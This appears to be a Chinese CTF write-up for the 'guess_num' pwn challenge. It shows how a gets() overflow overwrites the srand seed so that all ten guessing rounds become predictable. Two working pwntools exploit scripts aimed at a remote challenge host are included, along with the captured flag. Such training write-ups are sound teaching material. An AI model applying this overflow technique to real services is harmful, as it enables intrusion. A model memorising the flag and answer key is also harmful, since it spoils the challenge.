guess_num:[下载地址]

题目分析

拿到题目先跑一下康一康

image-20200119182341023

是一个猜数的游戏,随便输几次数跑一下,不料第二回合就GG了

丢到IDA里打探一下

image-20200119182654177

image-20200119182705926

通过分析源代码发现程序会随机产生10个随机数分布在10个回合中,只要每个回合的数字都猜对就可以进入子函数直接获取flag

image-20200119183111884

对程序进行安全机制检查发现,程序所有保护都开启了,咋办?有点慌、、

由于有了堆栈保护,所以程序不能通过栈溢出返回到sub_C3E()函数,这条路子就、、死心吧,只能另寻他路

既然不能控制程序返回地址,那么我们考虑一下是不是可以控制一下栈上的数据,比如控制用来产生随机数种子得到srand函数。我们知道,srand函数所产生的随机种子是由seed的值确定的,seed一样,rand函数产生的伪随机数值也会一样。

先看一下程序中的seed是怎么来的

image-20200119185756499

看样子是没法直接得知seed的具体值,那么就只能直接开干了

在IDA里面查看main函数的栈空间可以得知

image-20200119190320050

程序中的变量v7即栈空间中的var_30,它在栈中到变量seed的偏移量为0x20

利用思路

由于程序中gets函数没有对输入大小进行限制,所以我们可以利用gets函数使v7溢出覆盖到变量seed,使得seed为我们指定的固定值,这样就可以使得每一轮的“随机数”都可以被我们准确地“猜到”,从而获得flag

EXP编写

第一种EXP(笨方法)

我们设置seed的值为1,那么rand随机出来的10个伪随机数就是固定不变的,可以使用C语言代码先把这10个随机数求出来,然后在exp脚本中打表使用

求随机数的C语言代码

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
#include <stdlib.h>

int main(){
srand(1);
int n=10;
while(n--){
int ok=rand()%6+1;
printf("%d,", ok);
}
return 0 ;
}

exp脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

#sh = process('./b59204f56a0545e8a22f8518e749f19f')
sh = remote('111.198.29.45','41923')

num = [2,5,4,2,6,2,5,1,4,2]
payload = 'A'*0x20 + p64(1)

sh.recvuntil("name:")
sh.sendline(payload)

for no in num:
sh.recvuntil("number:")
sh.sendline(str(no))

sh.interactive()

脚本执行便可获得flag: cyberpeace{4e3336a2bfd434405154107ca1240212}

image-20200119205400147

第二种EXP(利用python库)

后来在搜索题解的时候,意识到可以直接使用python标准库中自带的ctypes模块进行python和c的混合编程

那么我们的exp可以这样写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
from ctypes import *

#sh = process('./b59204f56a0545e8a22f8518e749f19f')
sh = remote('111.198.29.45','41923')
libc = cdll.LoadLibrary("libc.so.6")

payload = 'A'*0x20 + p64(1)
sh.recvuntil("name:")
sh.sendline(payload)

libc.srand(1)
for i in range(10):
sh.recvuntil("number:")
sh.sendline(str(libc.rand()%6+1))

sh.interactive()

运行,同样也可以得到flag

参考链接:

rand和srand函数的使用

使用 ctypes 进行 Python 和 C 的混合编程